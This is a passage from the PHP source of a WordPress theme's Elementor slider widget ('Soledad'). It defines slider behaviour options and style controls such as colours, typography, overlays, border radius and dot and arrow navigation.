				'{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next' => 'right: {{SIZE}}px;',
			),
		) );
		$this->add_control( 'dots_csspc_w', array(
			'label'     => __( 'Slider Dots Spacing', 'soledad' ),
			'separator' => 'before',
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'condition' => [ 'showdots!' => '' ],
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel .penci-owl-dot,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot' => 'margin-left: {{SIZE}}px;margin-right: {{SIZE}}px;' ),
		) );

		$this->end_controls_section();

		// Options slider
		$this->start_controls_section( 'section_slider_options', array(
			'label' => __( 'Slider Options', 'soledad' ),
		) );
		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Effect', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'default'     => get_theme_mod( 'penci_fslider_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default ( Slide )',
				'swing'   => 'Swing',
			),
			'condition'   => array( 'style' => array( 'style-7', 'style-8', 'style-9', 'style-10', 'style-38' ) )
		) );
		$this->add_control( 'single_slider_effect', array(
			'label'       => __( 'Slider Effect', 'soledad' ),
			'description' => __( 'Some sliders do not support all effects listed below. The Creative effect is functioning correctly on styles 1, 3, 29, 30, 35, and 36. Style 39 only supports the "Fade" effect.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_fslider_single_slider_effect', 'creative' ),
			'options'     => array(
				'slide'     => 'Slide',
				'fade'      => 'Fade',
				'coverflow' => 'Coverflow',
				'flip'      => 'Flip',
				'cards'     => 'Cards',
				'creative'  => 'Creative',
			),
			'condition'   => array(
				'style!' => array(
					'style-7',
					'style-8',
					'style-9',
					'style-10',
					'style-38',
					'style-41',
					'style-42',
					'style-44'
				)
			)
		) );
		$this->add_control( 'autoplay', array(
			'label'   => __( 'Autoplay', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );
		$this->add_control( 'loop', array(
			'label'     => __( 'Slider Loop', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'default'   => 'yes',
			'condition' => [ 'carousel_slider_effect' => 'default' ],
		) );
		$this->add_control( 'auto_time', array(
			'label'   => __( 'Slider Auto Time (at x seconds)', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 4000,
		) );
		$this->add_control( 'speed', array(
			'label'       => __( 'Slider Speed (at x seconds)', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'default'     => 600,
			'render_type' => 'template',
			'selectors'   => [ '{{WRAPPER}} .penci-owl-carousel' => '--pcfs-delay:calc({{VALUE}}s / 1000 - 0.1s)' ]
		) );
		$this->add_control( 'shownav', array(
			'label'   => __( 'Show Next/Prev Buttons', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
			//'condition' => array( 'style' => array( 'style-35', 'style-37' ) ),
		) );
		$this->add_control( 'showdots', array(
			'label' => __( 'Show Dots Navigation', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
			//'condition' => array( 'style' => array( 'style-35', 'style-37' ) ),
		) );
		$this->add_control( 'slideTo', array(
			'label' => __( 'Start the slider from the slide Number', 'soledad' ),
			'type'  => Controls_Manager::NUMBER,
			//'condition' => array( 'style' => array( 'style-35', 'style-37' ) ),
		) );
		$this->add_control( 'slidespg', array(
			'label' => __( 'Slides Per Group', 'soledad' ),
			'type'  => Controls_Manager::NUMBER,
			//'condition' => array( 'style' => array( 'style-35', 'style-37' ) ),
		) );
		$this->end_controls_section();

		$style_big_post = array(
			'style-6',
			'style-13',
			'style-15',
			'style-17',
			'style-18',
			'style-19',
			'style-20',
			'style-21',
			'style-22',
			'style-23',
			'style-24',
			'style-25',
			'style-26',
			'style-27',
			'style-28',
			'style-37'
		);
		// Design
		$this->start_controls_section( 'section_design_image', array(
			'label' => __( 'Image', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE
		) );

		$this->add_control( 'post_thumb_size', array(
			'label'   => __( 'Image size', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );
		$this->add_control( 'bpost_thumb_size', array(
			'label'     => __( 'Image size for Big Post', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => $this->get_list_image_sizes( true ),
			'condition' => array( 'style' => $style_big_post ),
		) );
		$this->add_control( 'post_thumb_size_mobile', array(
			'label'   => __( 'Image size for Mobile', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'img_border_radius', array(
			'label'       => __( 'Border Radius', 'elementor' ),
			'description' => 'You can use pixel or percent. E.g:  <strong>10px</strong>  or  <strong>10%</strong>',
			'type'        => Controls_Manager::SLIDER,
			'size_units'  => array( '%', 'px' ),
			'default'     => array( 'unit' => '%', 'size' => 0 ),
			'range'       => array( '%' => array( 'max' => 50 ), 'px' => array( 'min' => 0, 'max' => 200 ) ),
			'selectors'   => array(
				'{{WRAPPER}} .featured-area.featured-style-42 .item-inner-content, {{WRAPPER}} .featured-style-41 .swiper-slide, {{WRAPPER}} .slider-40-wrapper .nav-thumb-creative .thumb-container:after, {{WRAPPER}} .penci-slider44-t-item:before,.penci-slider44-main-wrapper .item' => 'border-radius: {{SIZE}}{{UNIT}};-webkit-border-radius: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .featured-area .penci-image-holder,{{WRAPPER}} .featured-area .penci-slider4-overlay'                                                                                                                                                                        => 'border-radius: {{SIZE}}{{UNIT}};-webkit-border-radius: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .featured-area .penci-slide-overlay .overlay-link'                                                                                                                                                                                                           => 'border-radius: {{SIZE}}{{UNIT}};-webkit-border-radius: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .featured-style-29 .featured-slider-overlay,{{WRAPPER}} .penci-slider38-overlay'                                                                                                                                                                             => 'border-radius: {{SIZE}}{{UNIT}};-webkit-border-radius: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .penci-featured-content-right:before'                                                                                                                                                                                                                        => 'border-top-right-radius: {{SIZE}}{{UNIT}};border-bottom-right-radius: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before'                                                                                                                                                                                 => 'border-bottom-left-radius: {{SIZE}}{{UNIT}};border-bottom-right-radius: {{SIZE}}{{UNIT}};',
			)
		) );
		$this->add_responsive_control( 'img_ratio', array(
			'label'       => __( 'Ratio Height/Width of Images', 'soledad' ),
			'description' => 'This option does not apply for <strong>Slider Styles 19 & 27</strong>',
			'type'        => Controls_Manager::SLIDER,
			'range'       => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
			'selectors'   => array(
				'{{WRAPPER}} .penci-owl-carousel:not(.elsl-style-19):not(.elsl-style-27):not(.penci-slider44-main) .penci-image-holder'        => 'height: auto !important;',
				'{{WRAPPER}} .penci-owl-carousel:not(.elsl-style-19):not(.elsl-style-27):not(.penci-slider44-main) .penci-image-holder:before' => 'content:"";padding-top:calc( {{SIZE}} * 100% );height: auto;',
				'{{WRAPPER}} .featured-style-13 .penci-owl-carousel .penci-item-1 .penci-image-holder:before'        => 'padding-top:calc( {{SIZE}} * 50% );',
				'{{WRAPPER}} .featured-style-15 .penci-owl-carousel .penci-item-2 .penci-image-holder:before'        => 'padding-top:calc( {{SIZE}} * 50% );',
				'{{WRAPPER}} .featured-style-25 .penci-owl-carousel .penci-item-1 .penci-image-holder:before'        => 'padding-top:calc( {{SIZE}} * 150% );',
				'{{WRAPPER}} .penci-slick-carousel .penci-image-holder:before'                                       => 'padding-top:calc( {{SIZE}} * 150% );',
				'{{WRAPPER}} .featured-style-43 .img-container'                                                      => 'padding-top:calc( {{SIZE}} * 150% );',
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_design_content', array(
			'label' => __( 'Content', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE
		) );

		$this->add_control( 'heading_title_style', array(
			'label' => __( 'Title', 'soledad' ),
			'type'  => Controls_Manager::HEADING
		) );

		$this->add_control( 'title_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .feat-text h3, {{WRAPPER}} .feat-text h3 a'             => 'color: {{VALUE}};',
				'{{WRAPPER}} .feat-text-right h3, {{WRAPPER}} .feat-text-right h3 a' => 'color: {{VALUE}};',
				'{{WRAPPER}} h3.title-part'                                          => 'color: {{VALUE}};',
			)
		) );
		$this->add_control( 'title_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .feat-text h3 a:hover'       => 'color: {{VALUE}};',
				'{{WRAPPER}} .feat-text-right h3 a:hover' => 'color: {{VALUE}};',
				'{{WRAPPER}} h3.title-part a:hover'       => 'color: {{VALUE}};',
			)
		) );

		$this->add_control( 'title_hcolor_effect', array(
			'label'     => __( 'Enable Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .feat-text h3 a,{{WRAPPER}} .feat-text-right h3 a,{{WRAPPER}} h3.title-part' 		 	   => 'background-image: linear-gradient(var(--pcaccent-cl) 0%, var(--pcaccent-cl) 98%);background-size: 0 1px;background-repeat: no-repeat;background-position: left 100%;word-break: break-word;transition: 0.3s all ease-in-out;',
				'{{WRAPPER}} .feat-text h3 a:hover,{{WRAPPER}} .feat-text-right h3 a:hover,{{WRAPPER}} h3.title-part'  => 'background-size: 100% 1px;',
			),
		) );
		
		$this->add_control( 'title_hcolor_effect_color', array(
			'label'     => __( 'Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .feat-text h3 a,{{WRAPPER}} .feat-text-right h3 a,{{WRAPPER}} h3.title-part' => 'background-image: linear-gradient({{VALUE}} 0%, {{VALUE}} 98%)' ),
			'condition' => array( 'title_hcolor_effect' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'title_typography',
			'selector' => '{{WRAPPER}} .feat-text h3, {{WRAPPER}} .feat-text h3 a,{{WRAPPER}} .feat-text-right h3, {{WRAPPER}} .feat-text-right h3 a, {{WRAPPER}} h3.title-part'
		) );
		$this->add_responsive_control( 'bptitle_size', array(
			'label'     => __( 'Font size for Big Post', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .featured-area .penci-pitem-big .feat-text h3,{{WRAPPER}} .featured-area .penci-pitem-big .feat-text h3 a' => 'font-size: {{SIZE}}px'
			),
			'condition' => array( 'style' => $style_big_post ),
		) );

		$this->add_control( 'heading_pcat_style', array(
			'label' => __( 'Category', 'soledad' ),
			'type'  => Controls_Manager::HEADING
		) );

		$this->add_control( 'pcat_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .feat-text .featured-cat a,{{WRAPPER}} .featured-style-35 .featured-cat a,{{WRAPPER}} .featured-cat a' => 'color: {{VALUE}};' )
		) );
		$this->add_control( 'pcat_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .feat-text .featured-cat a:hover,{{WRAPPER}} .featured-style-35 .featured-cat a:hover, {{WRAPPER}} .featured-cat a:hover' => 'color: {{VALUE}};' )
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pcat_typo',
			'selector' => '{{WRAPPER}} .feat-text .featured-cat a,{{WRAPPER}} {{WRAPPER}} .featured-style-35 .featured-cat a, {{WRAPPER}} .featured-cat a'
		) );

		$this->add_control( 'heading_meta_style', array(
			'label'     => __( 'Meta', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before'
		) );

		$this->add_control( 'meta_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .feat-text .feat-meta span,{{WRAPPER}} .feat-text .feat-meta a'                                                                                                         => 'color: {{VALUE}};',
				'{{WRAPPER}} .featured-content-excerpt .feat-meta span,{{WRAPPER}} .featured-content-excerpt .feat-meta span a,{{WRAPPER}} .penci-fslider-fmeta, {{WRAPPER}} .penci-fslider-fmeta a' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-fslider-fmeta, {{WRAPPER}} .penci-featured-content .feat-text .feat-meta span, {{WRAPPER}} .penci-featured-content .feat-text .feat-meta span a'                 => 'color: {{VALUE}};',
			)
		) );
		$this->add_control( 'meta_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .feat-text .feat-meta a:hover,{{WRAPPER}} .penci-fslider-fmeta a:hover' => 'color: {{VALUE}};',
				'{{WRAPPER}} .featured-content-excerpt .feat-meta span a:hover'                      => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-featured-content .feat-text .feat-meta span a:hover'             => 'color: {{VALUE}};',
			)
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'meta_typography',
			'selector' => '{{WRAPPER}} .feat-text .feat-meta span,{{WRAPPER}} .feat-text .feat-meta a,{{WRAPPER}} .featured-content-excerpt .feat-meta span,{{WRAPPER}} .featured-content-excerpt .feat-meta span a, {{WRAPPER}} .penci-featured-content .feat-text .feat-meta span a'
		) );

		$this->add_control( 'heading_excerpt_style', array(
			'label'     => __( 'Excerpt', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );

		$this->add_control( 'excerpt_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .featured-content-excerpt p,{{WRAPPER}} .featured-slider-excerpt p' => 'color: {{VALUE}};' ),
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'excerpt_typography',
			'selector'  => '{{WRAPPER}} .featured-content-excerpt p,{{WRAPPER}} .featured-slider-excerpt p',
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );

		$this->add_control( 'heading_readmore_style', array(
			'label'     => __( 'Read More', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );

		$this->add_control( 'read_more_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-featured-slider-button a' => 'color: {{VALUE}};border-color:{{VALUE}};' ),
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );

		$this->add_control( 'read_more_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-featured-slider-button a:hover' => 'color: {{VALUE}};' ),
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );
		$this->add_control( 'read_more_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-featured-slider-button a:hover' => 'border-color: {{VALUE}};background-color: {{VALUE}};' ),
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'read_more_typography',
			'selector'  => '{{WRAPPER}} .penci-featured-slider-button a',
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );

		/* Small Title */

		$this->add_control( 'heading_stitle_style', array(
			'label'     => __( 'Small Thumbnail', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'style' => array( 'style-40' ) )
		) );

		$this->add_control( 'stitle_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .slider-40-wrapper .nav-thumb-creative .thumb-container:after' => 'background: {{VALUE}};',
			),
			'condition' => array( 'style' => array( 'style-40' ) )
		) );

		// Small Posts

		$this->add_control( 'smallpost_heading', array(
			'label'     => __( 'Thumb Posts', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'style' => array( 'style-41', 'style-42', 'style-44' ) )
		) );

		$this->add_responsive_control( 'smallpost_thumbsize', array(
			'label'     => __( 'Thumbnail Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'default'   => array( 'size' => '' ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-slider41-t-item .pcslider-41-img' => 'flex: 0 0 {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-slider44-t-item .pcslider-44-img' => 'flex: 0 0 {{SIZE}}{{UNIT}}',
			),
			'condition' => array( 'style' => array( 'style-41', 'style-44' ) )
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'smallpost_typo',
			'selector'  => '{{WRAPPER}} .penci-slider41-t-item .pcslider-41-ct h3, {{WRAPPER}} .pcslider-42-ct h3, {{WRAPPER}} .penci-slider44-t-item h3',
			'condition' => array( 'style' => array( 'style-41', 'style-42', 'style-44' ) )
		) );

		$this->add_control( 'smallpost_color', array(
			'label'     => __( 'Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-slider41-t-item .pcslider-41-ct h3' => 'color: {{VALUE}}',
				'{{WRAPPER}} .pcslider-42-ct h3'                        => 'color: {{VALUE}}',
				'{{WRAPPER}} .penci-slider44-t-item h3'                 => 'color: {{VALUE}}',
			),
			'condition' => array( 'style' => array( 'style-41', 'style-42' ) )
		) );

		$this->add_control( 'smallpost_acolor', array(
			'label'     => __( 'Title Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .swiper-slide-thumb-active .penci-slider41-t-item h3' => 'color: {{VALUE}}',
				'{{WRAPPER}} .swiper-slide-thumb-active .pcslider-42-ct h3'        => 'color: {{VALUE}}',
				'{{WRAPPER}} .swiper-slide-thumb-active .penci-slider44-t-item h3' => 'color: {{VALUE}}',
			),
			'condition' => array( 'style' => array( 'style-41', 'style-42', 'style-44' ) )
		) );

		$this->add_control( 'smallpost_bgcolor', array(
			'label'     => __( 'General Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-slider41-thumb-wrapper' => 'background-color: {{VALUE}}',
			),
			'condition' => array( 'style' => array( 'style-41' ) )
		) );

		$this->add_control( 'smallpost_bdcolor', array(
			'label'     => __( 'General Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-slider41-thumb-wrapper' => '--pcborder-cl: {{VALUE}}',
			),
			'condition' => array( 'style' => array( 'style-41' ) )
		) );

		$this->add_control( 'smallpost_ibgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .pcslider-42-ct'               => 'background-color: {{VALUE}}',
				'{{WRAPPER}} .penci-slider44-t-item:before' => 'background-color: {{VALUE}}',
			),
			'condition' => array( 'style' => array( 'style-42', 'style-44' ) )
		) );

		$this->add_control( 'smallpost_ibgacolor', array(
			'label'     => __( 'Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .swiper-slide-thumb-active .pcslider-42-ct'               => 'background-color: {{VALUE}}',
				'{{WRAPPER}} .swiper-slide-thumb-active .penci-slider44-t-item:before' => 'background-color: {{VALUE}}',
			),
			'condition' => array( 'style' => array( 'style-42', 'style-44' ) )
		) );

		$this->add_responsive_control( 'smallpost_ibpadding', array(
			'label'     => __( 'Custom Padding', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'selectors' => array(
				'{{WRAPPER}} .pcslider-42-ct'        => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-slider44-t-item' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition' => array( 'style' => array( 'style-42', 'style-44' ) )
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_design_overlay', array(
			'label' => __( 'Overlay Background', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE
		) );

		$this->add_control( 'overlay_bgcolor', array(
			'label'     => __( 'Overlay Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .featured-style-1 .penci-featured-content .featured-slider-overlay' => 'background-color: {{VALUE}}',
				'{{WRAPPER}} .featured-style-2 .penci-featured-content .featured-slider-overlay' => 'background-color: {{VALUE}}',
				'{{WRAPPER}} .penci-slider44-main-wrapper .penci-featured-content'               => 'background-color: {{VALUE}}',
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2', 'style-44' ) ),
		) );

		$this->add_group_control( Group_Control_Background::get_type(), array(
			'name'        => 'ft_o_bgcolor',
			'label'       => __( 'Overlay Background Color', 'soledad' ),
			'types'       => array( 'classic', 'gradient' ),
			'selector'    => '{{WRAPPER}} .penci-featured-content .featured-slider-overlay,{{WRAPPER}} .penci-featured-content-right:before,{{WRAPPER}} .penci-slide-overlay .overlay-link, {{WRAPPER}} .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before, {{WRAPPER}} .penci-slider44-main-wrapper .penci-featured-content',
			'label_block' => true,
			'separator'   => 'before'
		) );

		$this->add_control( 'ft_o_bgopacity', array(
			'label'     => __( 'Overlay Background Opacity', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 1, 'step' => 0.1 ) ),
			'condition' => array( 'style!' => 'style-44' ),
			'selectors' => array( '{{WRAPPER}} .penci-featured-content .featured-slider-overlay,{{WRAPPER}} .penci-featured-content-right:before,{{WRAPPER}} .penci-slide-overlay .overlay-link, {{WRAPPER}} .slider-44-item .thumbnail .dark-overlay, {{WRAPPER}} .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before' => 'opacity: calc( {{SIZE}} / 100 )' ),
		) );

		$this->add_control( 'ft_o_bghopacity', array(
			'label'     => __( 'Hover Overlay Background Opacity', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 1, 'step' => 0.1 ) ),
			'condition' => array( 'style!' => 'style-44' ),
			'selectors' => array( '{{WRAPPER}} .penci-item-mag:hover .penci-slide-overlay .overlay-link, {{WRAPPER}} .featured-style-38 .item:hover .penci-slider38-overlay, {{WRAPPER}} .penci-flat-overlay .penci-item-mag:hover .penci-slide-overlay .penci-mag-featured-content:before, {{WRAPPER}} .slider-40-wrapper .list-slider-creative .item-slider-creative:hover .img-container:before' => 'opacity: calc( {{SIZE}} / 100 )' ),
		) );

		$this->add_responsive_control( 'ft_o_bdradius', array(
			'label'      => __( 'Border Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-featured-content .featured-slider-overlay,{{WRAPPER}} .penci-featured-content-right:before,{{WRAPPER}} .penci-slide-overlay .overlay-link, {{WRAPPER}} .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before, {{WRAPPER}} .penci-slider44-main-wrapper .penci-featured-content' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};-webkit-border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array( 'style!' => 'style-44' )
		));

		$this->add_control( 'ft_o_border', array(
			'label'     => __( 'Border', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-featured-content .featured-slider-overlay,{{WRAPPER}} .penci-featured-content-right:before,{{WRAPPER}} .penci-slide-overlay .overlay-link, {{WRAPPER}} .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before, {{WRAPPER}} .penci-slider44-main-wrapper .penci-featured-content' => 'border: 1px solid {{VALUE}};' ),
			'condition' => array( 'style!' => 'style-44' )
		));

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'      => 'ft_o_boxshadow',
				'selector'  => '{{WRAPPER}} .penci-featured-content .featured-slider-overlay,{{WRAPPER}} .penci-featured-content-right:before,{{WRAPPER}} .penci-slide-overlay .overlay-link, {{WRAPPER}} .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before, {{WRAPPER}} .penci-slider44-main-wrapper .penci-featured-content',
				'condition' => array( 'style!' => 'style-44' )
			]
		);

		$this->end_controls_section();

		$this->start_controls_section( 'section_design_sliderdosnav', array(
			'label' => __( 'Slider Controls', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE
		) );

		$this->add_control( 'heading_pagi_style', array(
			'label'     => __( 'Dots Pagination', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => [ 'showdots!' => '' ]
		) );

		$this->add_control( 'dots_bg_color', array(
			'label'     => __( 'Dot Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel .penci-owl-dot span,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span,{{WRAPPER}} .swiper-container .progress' => 'background-color: {{VALUE}};' ),
			'condition' => [ 'showdots!' => '' ]
		) );

		$this->add_control( 'dots_bd_color', array(
			'label'     => __( 'Dot Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-color: {{VALUE}};' ),
			'condition' => [ 'showdots!' => '' ]
		) );

		$this->add_control( 'dots_bga_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots!' => '' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bda_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots!' => '' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_cs_w', array(
			'label'     => __( 'Dot Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 5, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'width: {{SIZE}}px;height: {{SIZE}}px;' ),
			'condition' => [ 'showdots!' => '' ],
		) );

		$this->add_control( 'dots_csbd_w', array(
			'label'     => __( 'Dot Borders Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-width: {{SIZE}}px;' ),
			'condition' => [ 'showdots!' => '' ],
		) );

		$this->add_control( 'heading_prenex_style', array(
			'label'     => __( 'Previous/Next Buttons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => [ 'shownav!' => '' ],
		) );

		$this->add_control( 'dots_nxpv_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'shownav!' => '' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
